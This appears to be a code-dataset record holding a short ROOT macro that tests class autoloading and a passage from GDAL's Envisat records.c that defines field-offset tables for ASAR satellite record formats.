4ecd2c1105d59c66d385551230542c6615b9ab58
|
19c178740257eb48367778593da55dcad08b7a4f
|
refs/heads/master
| 2023-08-23T21:57:42.491143
| 2023-08-22T20:22:40
| 2023-08-22T20:22:40
| 10,969,551
| 1,006
| 3,696
|
Apache-2.0
| 2023-09-14T19:14:28
| 2013-06-26T14:09:07
|
C++
|
UTF-8
|
C
| false
| false
| 335
|
c
|
autoload_with_namespace.C
|
{
if( TClass::GetClass("edmtest::Thing") ) {
cout <<"class already exists!"<<endl;
exit(0);
}
cout <<"class not present yet"<<endl;
gSystem->Load("libFWCoreFWLite");
FWLiteEnabler::enable();
if( !TClass::GetClass("edmtest::Thing") ) {
cout <<"class still missing"<<endl;
exit(1);
}
cout <<"class loaded"<<endl;
exit(0);
}
|
fb108f5f3698562a17d260ed32b1b6283817d1ac
|
35e28d7705773eed54345af4440700522c9d1863
|
/deps/libgdal/gdal/frmts/envisat/records.c
|
41479de9b127605110db94968ae4a231b8c56513
|
[
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"MIT",
"SunPro",
"LicenseRef-scancode-info-zip-2005-02",
"BSD-3-Clause"
] |
permissive
|
naturalatlas/node-gdal
|
0ee3447861bf2d1abc48d4fbdbcf15aba5473a27
|
c83e7858a9ec566cc91d65db74fd07b99789c0f0
|
refs/heads/master
| 2023-09-03T00:11:41.576937
| 2022-03-12T20:41:59
| 2022-03-12T20:41:59
| 19,504,824
| 522
| 122
|
Apache-2.0
| 2022-06-04T20:03:43
| 2014-05-06T18:02:34
|
C++
|
UTF-8
|
C
| false
| false
| 102,062
|
c
|
records.c
|
/******************************************************************************
* $Id: records.c 3b0bbf7a8a012d69a783ee1f9cfeb5c52b370021 2017-06-27 20:57:02Z Even Rouault $
*
* Project: APP ENVISAT Support
* Purpose: Low Level Envisat file access (read/write) API.
* Author: Antonio Valentino <antonio.valentino@tiscali.it>
*
******************************************************************************
* Copyright (c) 2011, Antonio Valentino
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
****************************************************************************/
#include "cpl_string.h"
#include "records.h"
CPL_CVSID("$Id: records.c 3b0bbf7a8a012d69a783ee1f9cfeb5c52b370021 2017-06-27 20:57:02Z Even Rouault $")
/* --- ASAR record descriptors --------------------------------------------- */
static const EnvisatFieldDescr ASAR_ANTENNA_ELEV_PATT_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"BEAM_ID", 13, EDT_Char, 3},
{"ELEVATION_PATTERN.SLANT_RANGE_TIME", 16, EDT_Float32, 11},
{"ELEVATION_PATTERN.ELEVATION_ANGLES", 60, EDT_Float32, 11},
{"ELEVATION_PATTERN.ANTENNA_PATTERN", 104, EDT_Float32, 11},
/*{"SPARE_1", 148, EDT_UByte, 14},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr ASAR_CHIRP_PARAMS_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"BEAM_ID", 13, EDT_Char, 3},
{"POLAR", 16, EDT_Char, 3},
{"CHIRP_WIDTH", 19, EDT_Float32, 1},
{"CHIRP_SIDELOBE", 23, EDT_Float32, 1},
{"CHIRP_ISLR", 27, EDT_Float32, 1},
{"CHIRP_PEAK_LOC", 31, EDT_Float32, 1},
{"CHIRP_POWER", 35, EDT_Float32, 1},
{"ELEV_CORR_FACTOR", 39, EDT_Float32, 1},
/*{"SPARE_1", 43, EDT_UByte, 16},*/
{"CAL_PULSE_INFO.1.MAX_CAL", 59, EDT_Float32, 3},
{"CAL_PULSE_INFO.1.AVG_CAL", 71, EDT_Float32, 3},
{"CAL_PULSE_INFO.1.AVG_VAL_1A", 83, EDT_Float32, 1},
{"CAL_PULSE_INFO.1.PHS_CAL", 87, EDT_Float32, 4},
{"CAL_PULSE_INFO.2.MAX_CAL", 103, EDT_Float32, 3},
{"CAL_PULSE_INFO.2.AVG_CAL", 115, EDT_Float32, 3},
{"CAL_PULSE_INFO.2.AVG_VAL_1A", 127, EDT_Float32, 1},
{"CAL_PULSE_INFO.2.PHS_CAL", 131, EDT_Float32, 4},
{"CAL_PULSE_INFO.3.MAX_CAL", 147, EDT_Float32, 3},
{"CAL_PULSE_INFO.3.AVG_CAL", 159, EDT_Float32, 3},
{"CAL_PULSE_INFO.3.AVG_VAL_1A", 171, EDT_Float32, 1},
{"CAL_PULSE_INFO.3.PHS_CAL", 175, EDT_Float32, 4},
{"CAL_PULSE_INFO.4.MAX_CAL", 191, EDT_Float32, 3},
{"CAL_PULSE_INFO.4.AVG_CAL", 203, EDT_Float32, 3},
{"CAL_PULSE_INFO.4.AVG_VAL_1A", 215, EDT_Float32, 1},
{"CAL_PULSE_INFO.4.PHS_CAL", 219, EDT_Float32, 4},
{"CAL_PULSE_INFO.5.MAX_CAL", 235, EDT_Float32, 3},
{"CAL_PULSE_INFO.5.AVG_CAL", 247, EDT_Float32, 3},
{"CAL_PULSE_INFO.5.AVG_VAL_1A", 259, EDT_Float32, 1},
{"CAL_PULSE_INFO.5.PHS_CAL", 263, EDT_Float32, 4},
{"CAL_PULSE_INFO.6.MAX_CAL", 279, EDT_Float32, 3},
{"CAL_PULSE_INFO.6.AVG_CAL", 291, EDT_Float32, 3},
{"CAL_PULSE_INFO.6.AVG_VAL_1A", 303, EDT_Float32, 1},
{"CAL_PULSE_INFO.6.PHS_CAL", 307, EDT_Float32, 4},
{"CAL_PULSE_INFO.7.MAX_CAL", 323, EDT_Float32, 3},
{"CAL_PULSE_INFO.7.AVG_CAL", 335, EDT_Float32, 3},
{"CAL_PULSE_INFO.7.AVG_VAL_1A", 347, EDT_Float32, 1},
{"CAL_PULSE_INFO.7.PHS_CAL", 351, EDT_Float32, 4},
{"CAL_PULSE_INFO.8.MAX_CAL", 367, EDT_Float32, 3},
{"CAL_PULSE_INFO.8.AVG_CAL", 379, EDT_Float32, 3},
{"CAL_PULSE_INFO.8.AVG_VAL_1A", 391, EDT_Float32, 1},
{"CAL_PULSE_INFO.8.PHS_CAL", 395, EDT_Float32, 4},
{"CAL_PULSE_INFO.9.MAX_CAL", 411, EDT_Float32, 3},
{"CAL_PULSE_INFO.9.AVG_CAL", 423, EDT_Float32, 3},
{"CAL_PULSE_INFO.9.AVG_VAL_1A", 435, EDT_Float32, 1},
{"CAL_PULSE_INFO.9.PHS_CAL", 439, EDT_Float32, 4},
{"CAL_PULSE_INFO.10.MAX_CAL", 455, EDT_Float32, 3},
{"CAL_PULSE_INFO.10.AVG_CAL", 467, EDT_Float32, 3},
{"CAL_PULSE_INFO.10.AVG_VAL_1A", 479, EDT_Float32, 1},
{"CAL_PULSE_INFO.10.PHS_CAL", 483, EDT_Float32, 4},
{"CAL_PULSE_INFO.11.MAX_CAL", 499, EDT_Float32, 3},
{"CAL_PULSE_INFO.11.AVG_CAL", 511, EDT_Float32, 3},
{"CAL_PULSE_INFO.11.AVG_VAL_1A", 523, EDT_Float32, 1},
{"CAL_PULSE_INFO.11.PHS_CAL", 527, EDT_Float32, 4},
{"CAL_PULSE_INFO.12.MAX_CAL", 543, EDT_Float32, 3},
{"CAL_PULSE_INFO.12.AVG_CAL", 555, EDT_Float32, 3},
{"CAL_PULSE_INFO.12.AVG_VAL_1A", 567, EDT_Float32, 1},
{"CAL_PULSE_INFO.12.PHS_CAL", 571, EDT_Float32, 4},
{"CAL_PULSE_INFO.13.MAX_CAL", 587, EDT_Float32, 3},
{"CAL_PULSE_INFO.13.AVG_CAL", 599, EDT_Float32, 3},
{"CAL_PULSE_INFO.13.AVG_VAL_1A", 611, EDT_Float32, 1},
{"CAL_PULSE_INFO.13.PHS_CAL", 615, EDT_Float32, 4},
{"CAL_PULSE_INFO.14.MAX_CAL", 631, EDT_Float32, 3},
{"CAL_PULSE_INFO.14.AVG_CAL", 643, EDT_Float32, 3},
{"CAL_PULSE_INFO.14.AVG_VAL_1A", 655, EDT_Float32, 1},
{"CAL_PULSE_INFO.14.PHS_CAL", 659, EDT_Float32, 4},
{"CAL_PULSE_INFO.15.MAX_CAL", 675, EDT_Float32, 3},
{"CAL_PULSE_INFO.15.AVG_CAL", 687, EDT_Float32, 3},
{"CAL_PULSE_INFO.15.AVG_VAL_1A", 699, EDT_Float32, 1},
{"CAL_PULSE_INFO.15.PHS_CAL", 703, EDT_Float32, 4},
{"CAL_PULSE_INFO.16.MAX_CAL", 719, EDT_Float32, 3},
{"CAL_PULSE_INFO.16.AVG_CAL", 731, EDT_Float32, 3},
{"CAL_PULSE_INFO.16.AVG_VAL_1A", 743, EDT_Float32, 1},
{"CAL_PULSE_INFO.16.PHS_CAL", 747, EDT_Float32, 4},
{"CAL_PULSE_INFO.17.MAX_CAL", 763, EDT_Float32, 3},
{"CAL_PULSE_INFO.17.AVG_CAL", 775, EDT_Float32, 3},
{"CAL_PULSE_INFO.17.AVG_VAL_1A", 787, EDT_Float32, 1},
{"CAL_PULSE_INFO.17.PHS_CAL", 791, EDT_Float32, 4},
{"CAL_PULSE_INFO.18.MAX_CAL", 807, EDT_Float32, 3},
{"CAL_PULSE_INFO.18.AVG_CAL", 819, EDT_Float32, 3},
{"CAL_PULSE_INFO.18.AVG_VAL_1A", 831, EDT_Float32, 1},
{"CAL_PULSE_INFO.18.PHS_CAL", 835, EDT_Float32, 4},
{"CAL_PULSE_INFO.19.MAX_CAL", 851, EDT_Float32, 3},
{"CAL_PULSE_INFO.19.AVG_CAL", 863, EDT_Float32, 3},
{"CAL_PULSE_INFO.19.AVG_VAL_1A", 875, EDT_Float32, 1},
{"CAL_PULSE_INFO.19.PHS_CAL", 879, EDT_Float32, 4},
{"CAL_PULSE_INFO.20.MAX_CAL", 895, EDT_Float32, 3},
{"CAL_PULSE_INFO.20.AVG_CAL", 907, EDT_Float32, 3},
{"CAL_PULSE_INFO.20.AVG_VAL_1A", 919, EDT_Float32, 1},
{"CAL_PULSE_INFO.20.PHS_CAL", 923, EDT_Float32, 4},
{"CAL_PULSE_INFO.21.MAX_CAL", 939, EDT_Float32, 3},
{"CAL_PULSE_INFO.21.AVG_CAL", 951, EDT_Float32, 3},
{"CAL_PULSE_INFO.21.AVG_VAL_1A", 963, EDT_Float32, 1},
{"CAL_PULSE_INFO.21.PHS_CAL", 967, EDT_Float32, 4},
{"CAL_PULSE_INFO.22.MAX_CAL", 983, EDT_Float32, 3},
{"CAL_PULSE_INFO.22.AVG_CAL", 995, EDT_Float32, 3},
{"CAL_PULSE_INFO.22.AVG_VAL_1A", 1007, EDT_Float32, 1},
{"CAL_PULSE_INFO.22.PHS_CAL", 1011, EDT_Float32, 4},
{"CAL_PULSE_INFO.23.MAX_CAL", 1027, EDT_Float32, 3},
{"CAL_PULSE_INFO.23.AVG_CAL", 1039, EDT_Float32, 3},
{"CAL_PULSE_INFO.23.AVG_VAL_1A", 1051, EDT_Float32, 1},
{"CAL_PULSE_INFO.23.PHS_CAL", 1055, EDT_Float32, 4},
{"CAL_PULSE_INFO.24.MAX_CAL", 1071, EDT_Float32, 3},
{"CAL_PULSE_INFO.24.AVG_CAL", 1083, EDT_Float32, 3},
{"CAL_PULSE_INFO.24.AVG_VAL_1A", 1095, EDT_Float32, 1},
{"CAL_PULSE_INFO.24.PHS_CAL", 1099, EDT_Float32, 4},
{"CAL_PULSE_INFO.25.MAX_CAL", 1115, EDT_Float32, 3},
{"CAL_PULSE_INFO.25.AVG_CAL", 1127, EDT_Float32, 3},
{"CAL_PULSE_INFO.25.AVG_VAL_1A", 1139, EDT_Float32, 1},
{"CAL_PULSE_INFO.25.PHS_CAL", 1143, EDT_Float32, 4},
{"CAL_PULSE_INFO.26.MAX_CAL", 1159, EDT_Float32, 3},
{"CAL_PULSE_INFO.26.AVG_CAL", 1171, EDT_Float32, 3},
{"CAL_PULSE_INFO.26.AVG_VAL_1A", 1183, EDT_Float32, 1},
{"CAL_PULSE_INFO.26.PHS_CAL", 1187, EDT_Float32, 4},
{"CAL_PULSE_INFO.27.MAX_CAL", 1203, EDT_Float32, 3},
{"CAL_PULSE_INFO.27.AVG_CAL", 1215, EDT_Float32, 3},
{"CAL_PULSE_INFO.27.AVG_VAL_1A", 1227, EDT_Float32, 1},
{"CAL_PULSE_INFO.27.PHS_CAL", 1231, EDT_Float32, 4},
{"CAL_PULSE_INFO.28.MAX_CAL", 1247, EDT_Float32, 3},
{"CAL_PULSE_INFO.28.AVG_CAL", 1259, EDT_Float32, 3},
{"CAL_PULSE_INFO.28.AVG_VAL_1A", 1271, EDT_Float32, 1},
{"CAL_PULSE_INFO.28.PHS_CAL", 1275, EDT_Float32, 4},
{"CAL_PULSE_INFO.29.MAX_CAL", 1291, EDT_Float32, 3},
{"CAL_PULSE_INFO.29.AVG_CAL", 1303, EDT_Float32, 3},
{"CAL_PULSE_INFO.29.AVG_VAL_1A", 1315, EDT_Float32, 1},
{"CAL_PULSE_INFO.29.PHS_CAL", 1319, EDT_Float32, 4},
{"CAL_PULSE_INFO.30.MAX_CAL", 1335, EDT_Float32, 3},
{"CAL_PULSE_INFO.30.AVG_CAL", 1347, EDT_Float32, 3},
{"CAL_PULSE_INFO.30.AVG_VAL_1A", 1359, EDT_Float32, 1},
{"CAL_PULSE_INFO.30.PHS_CAL", 1363, EDT_Float32, 4},
{"CAL_PULSE_INFO.31.MAX_CAL", 1379, EDT_Float32, 3},
{"CAL_PULSE_INFO.31.AVG_CAL", 1391, EDT_Float32, 3},
{"CAL_PULSE_INFO.31.AVG_VAL_1A", 1403, EDT_Float32, 1},
{"CAL_PULSE_INFO.31.PHS_CAL", 1407, EDT_Float32, 4},
{"CAL_PULSE_INFO.32.MAX_CAL", 1423, EDT_Float32, 3},
{"CAL_PULSE_INFO.32.AVG_CAL", 1435, EDT_Float32, 3},
{"CAL_PULSE_INFO.32.AVG_VAL_1A", 1447, EDT_Float32, 1},
{"CAL_PULSE_INFO.32.PHS_CAL", 1451, EDT_Float32, 4},
/*{"SPARE_2", 1467, EDT_UByte, 16},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr ASAR_DOP_CENTROID_COEFFS_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"SLANT_RANGE_TIME", 13, EDT_Float32, 1},
{"DOP_COEF", 17, EDT_Float32, 5},
{"DOP_CONF", 37, EDT_Float32, 1},
{"DOP_CONF_BELOW_THRESH_FLAG", 41, EDT_UByte, 1},
{"DELTA_DOPP_COEFF", 42, EDT_Int16, 5},
/*{"SPARE_1", 52, EDT_UByte, 3},*/
{NULL, 0, EDT_Unknown, 0}
};
#if 0 /* Unused */
static const EnvisatFieldDescr ASAR_GEOLOCATION_GRID_ADSR[] = {
{"FIRST_ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"LINE_NUM", 13, EDT_UInt32, 1},
{"NUM_LINES", 17, EDT_UInt32, 1},
{"SUB_SAT_TRACK", 21, EDT_Float32, 1},
{"FIRST_LINE_TIE_POINTS.SAMP_NUMBERS", 25, EDT_UInt32, 11},
{"FIRST_LINE_TIE_POINTS.SLANT_RANGE_TIMES", 69, EDT_Float32, 11},
{"FIRST_LINE_TIE_POINTS.ANGLES", 113, EDT_Float32, 11},
{"FIRST_LINE_TIE_POINTS.LATS", 157, EDT_Int32, 11},
{"FIRST_LINE_TIE_POINTS.LONGS", 201, EDT_Int32, 11},
/*{"SPARE_1", 245, EDT_UByte, 22},*/
{"LAST_ZERO_DOPPLER_TIME", 267, EDT_MJD, 1},
{"LAST_LINE_TIE_POINTS.SAMP_NUMBERS", 279, EDT_UInt32, 11},
{"LAST_LINE_TIE_POINTS.SLANT_RANGE_TIMES", 323, EDT_Float32, 11},
{"LAST_LINE_TIE_POINTS.ANGLES", 367, EDT_Float32, 11},
{"LAST_LINE_TIE_POINTS.LATS", 411, EDT_Int32, 11},
{"LAST_LINE_TIE_POINTS.LONGS", 455, EDT_Int32, 11},
/*{"SPARE_2", 499, EDT_UByte, 22},*/
{NULL, 0, EDT_Unknown, 0}
};
#endif /* Unused */
static const EnvisatFieldDescr ASAR_MAIN_PROCESSING_PARAMS_ADSR[] = {
{"FIRST_ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"LAST_ZERO_DOPPLER_TIME", 13, EDT_MJD, 1},
{"WORK_ORDER_ID", 25, EDT_Char, 12},
{"TIME_DIFF", 37, EDT_Float32, 1},
{"SWATH_ID", 41, EDT_Char, 3},
{"RANGE_SPACING", 44, EDT_Float32, 1},
{"AZIMUTH_SPACING", 48, EDT_Float32, 1},
{"LINE_TIME_INTERVAL", 52, EDT_Float32, 1},
{"NUM_OUTPUT_LINES", 56, EDT_UInt32, 1},
{"NUM_SAMPLES_PER_LINE", 60, EDT_UInt32, 1},
{"DATA_TYPE", 64, EDT_Char, 5},
/*{"SPARE_1", 69, EDT_UByte, 51},*/
{"DATA_ANALYSIS_FLAG", 120, EDT_UByte, 1},
{"ANT_ELEV_CORR_FLAG", 121, EDT_UByte, 1},
{"CHIRP_EXTRACT_FLAG", 122, EDT_UByte, 1},
{"SRGR_FLAG", 123, EDT_UByte, 1},
{"DOP_CEN_FLAG", 124, EDT_UByte, 1},
{"DOP_AMB_FLAG", 125, EDT_UByte, 1},
{"RANGE_SPREAD_COMP_FLAG", 126, EDT_UByte, 1},
{"DETECTED_FLAG", 127, EDT_UByte, 1},
{"LOOK_SUM_FLAG", 128, EDT_UByte, 1},
{"RMS_EQUAL_FLAG", 129, EDT_UByte, 1},
{"ANT_SCAL_FLAG", 130, EDT_UByte, 1},
{"VGA_COM_ECHO_FLAG", 131, EDT_UByte, 1},
{"VGA_COM_PULSE_2_FLAG", 132, EDT_UByte, 1},
{"VGA_COM_PULSE_ZERO_FLAG", 133, EDT_UByte, 1},
{"INV_FILT_COMP_FLAG", 134, EDT_UByte, 1},
/*{"SPARE_2", 135, EDT_UByte, 6},*/
{"RAW_DATA_ANALYSIS.1.NUM_GAPS", 141, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.NUM_MISSING_LINES", 145, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.RANGE_SAMP_SKIP", 149, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.RANGE_LINES_SKIP", 153, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_I_BIAS", 157, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_Q_BIAS", 161, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_I_STD_DEV", 165, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_Q_STD_DEV", 169, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_GAIN", 173, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_QUAD", 177, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.I_BIAS_MAX", 181, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.I_BIAS_MIN", 185, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.Q_BIAS_MAX", 189, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.Q_BIAS_MIN", 193, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.GAIN_MIN", 197, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.GAIN_MAX", 201, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.QUAD_MIN", 205, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.QUAD_MAX", 209, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.I_BIAS_FLAG", 213, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.Q_BIAS_FLAG", 214, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.GAIN_FLAG", 215, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.QUAD_FLAG", 216, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.USED_I_BIAS", 217, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.USED_Q_BIAS", 221, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.USED_GAIN", 225, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.USED_QUAD", 229, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.NUM_GAPS", 233, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.NUM_MISSING_LINES", 237, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.RANGE_SAMP_SKIP", 241, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.RANGE_LINES_SKIP", 245, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_I_BIAS", 249, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_Q_BIAS", 253, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_I_STD_DEV", 257, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_Q_STD_DEV", 261, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_GAIN", 265, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_QUAD", 269, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.I_BIAS_MAX", 273, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.I_BIAS_MIN", 277, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.Q_BIAS_MAX", 281, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.Q_BIAS_MIN", 285, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.GAIN_MIN", 289, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.GAIN_MAX", 293, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.QUAD_MIN", 297, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.QUAD_MAX", 301, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.I_BIAS_FLAG", 305, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.Q_BIAS_FLAG", 306, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.GAIN_FLAG", 307, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.QUAD_FLAG", 308, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.USED_I_BIAS", 309, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.USED_Q_BIAS", 313, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.USED_GAIN", 317, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.USED_QUAD", 321, EDT_Float32, 1},
/*{"SPARE_3", 325, EDT_UByte, 32},*/
{"START_TIME.1.FIRST_OBT", 357, EDT_UInt32, 2},
{"START_TIME.1.FIRST_MJD", 365, EDT_MJD, 1},
{"START_TIME.2.FIRST_OBT", 377, EDT_UInt32, 2},
{"START_TIME.2.FIRST_MJD", 385, EDT_MJD, 1},
{"PARAMETER_CODES.FIRST_SWST_CODE", 397, EDT_UInt16, 5},
{"PARAMETER_CODES.LAST_SWST_CODE", 407, EDT_UInt16, 5},
{"PARAMETER_CODES.PRI_CODE", 417, EDT_UInt16, 5},
{"PARAMETER_CODES.TX_PULSE_LEN_CODE", 427, EDT_UInt16, 5},
{"PARAMETER_CODES.TX_BW_CODE", 437, EDT_UInt16, 5},
{"PARAMETER_CODES.ECHO_WIN_LEN_CODE", 447, EDT_UInt16, 5},
{"PARAMETER_CODES.UP_CODE", 457, EDT_UInt16, 5},
{"PARAMETER_CODES.DOWN_CODE", 467, EDT_UInt16, 5},
{"PARAMETER_CODES.RESAMP_CODE", 477, EDT_UInt16, 5},
{"PARAMETER_CODES.BEAM_ADJ_CODE", 487, EDT_UInt16, 5},
{"PARAMETER_CODES.BEAM_SET_NUM_CODE", 497, EDT_UInt16, 5},
{"PARAMETER_CODES.TX_MONITOR_CODE", 507, EDT_UInt16, 5},
/*{"SPARE_4", 517, EDT_UByte, 60},*/
{"ERROR_COUNTERS.NUM_ERR_SWST", 577, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_PRI", 581, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_TX_PULSE_LEN", 585, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_TX_PULSE_BW", 589, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_ECHO_WIN_LEN", 593, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_UP", 597, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_DOWN", 601, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_RESAMP", 605, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_BEAM_ADJ", 609, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_BEAM_SET_NUM", 613, EDT_UInt32, 1},
/*{"SPARE_5", 617, EDT_UByte, 26},*/
{"IMAGE_PARAMETERS.FIRST_SWST_VALUE", 643, EDT_Float32, 5},
{"IMAGE_PARAMETERS.LAST_SWST_VALUE", 663, EDT_Float32, 5},
{"IMAGE_PARAMETERS.SWST_CHANGES", 683, EDT_UInt32, 5},
{"IMAGE_PARAMETERS.PRF_VALUE", 703, EDT_Float32, 5},
{"IMAGE_PARAMETERS.TX_PULSE_LEN_VALUE", 723, EDT_Float32, 5},
{"IMAGE_PARAMETERS.TX_PULSE_BW_VALUE", 743, EDT_Float32, 5},
{"IMAGE_PARAMETERS.ECHO_WIN_LEN_VALUE", 763, EDT_Float32, 5},
{"IMAGE_PARAMETERS.UP_VALUE", 783, EDT_Float32, 5},
{"IMAGE_PARAMETERS.DOWN_VALUE", 803, EDT_Float32, 5},
{"IMAGE_PARAMETERS.RESAMP_VALUE", 823, EDT_Float32, 5},
{"IMAGE_PARAMETERS.BEAM_ADJ_VALUE", 843, EDT_Float32, 5},
{"IMAGE_PARAMETERS.BEAM_SET_VALUE", 863, EDT_UInt16, 5},
{"IMAGE_PARAMETERS.TX_MONITOR_VALUE", 873, EDT_Float32, 5},
/*{"SPARE_6", 893, EDT_UByte, 82},*/
{"FIRST_PROC_RANGE_SAMP", 975, EDT_UInt32, 1},
{"RANGE_REF", 979, EDT_Float32, 1},
{"RANGE_SAMP_RATE", 983, EDT_Float32, 1},
{"RADAR_FREQ", 987, EDT_Float32, 1},
{"NUM_LOOKS_RANGE", 991, EDT_UInt16, 1},
{"FILTER_WINDOW", 993, EDT_Char, 7},
{"WINDOW_COEF_RANGE", 1000, EDT_Float32, 1},
{"BANDWIDTH.LOOK_BW_RANGE", 1004, EDT_Float32, 5},
{"BANDWIDTH.TOT_BW_RANGE", 1024, EDT_Float32, 5},
{"NOMINAL_CHIRP.1.NOM_CHIRP_AMP", 1044, EDT_Float32, 4},
{"NOMINAL_CHIRP.1.NOM_CHIRP_PHS", 1060, EDT_Float32, 4},
{"NOMINAL_CHIRP.2.NOM_CHIRP_AMP", 1076, EDT_Float32, 4},
{"NOMINAL_CHIRP.2.NOM_CHIRP_PHS", 1092, EDT_Float32, 4},
{"NOMINAL_CHIRP.3.NOM_CHIRP_AMP", 1108, EDT_Float32, 4},
{"NOMINAL_CHIRP.3.NOM_CHIRP_PHS", 1124, EDT_Float32, 4},
{"NOMINAL_CHIRP.4.NOM_CHIRP_AMP", 1140, EDT_Float32, 4},
{"NOMINAL_CHIRP.4.NOM_CHIRP_PHS", 1156, EDT_Float32, 4},
{"NOMINAL_CHIRP.5.NOM_CHIRP_AMP", 1172, EDT_Float32, 4},
{"NOMINAL_CHIRP.5.NOM_CHIRP_PHS", 1188, EDT_Float32, 4},
/*{"SPARE_7", 1204, EDT_UByte, 60},*/
{"NUM_LINES_PROC", 1264, EDT_UInt32, 1},
{"NUM_LOOK_AZ", 1268, EDT_UInt16, 1},
{"LOOK_BW_AZ", 1270, EDT_Float32, 1},
{"TO_BW_AZ", 1274, EDT_Float32, 1},
{"FILTER_AZ", 1278, EDT_Char, 7},
{"FILTER_COEF_AZ", 1285, EDT_Float32, 1},
{"AZ_FM_RATE", 1289, EDT_Float32, 3},
{"AX_FM_ORIGIN", 1301, EDT_Float32, 1},
{"DOP_AMB_CONF", 1305, EDT_Float32, 1},
/*{"SPARE_8", 1309, EDT_UByte, 68},*/
{"CALIBRATION_FACTORS.1.PROC_SCALING_FACT", 1377, EDT_Float32, 1},
{"CALIBRATION_FACTORS.1.EXT_CAL_FACT", 1381, EDT_Float32, 1},
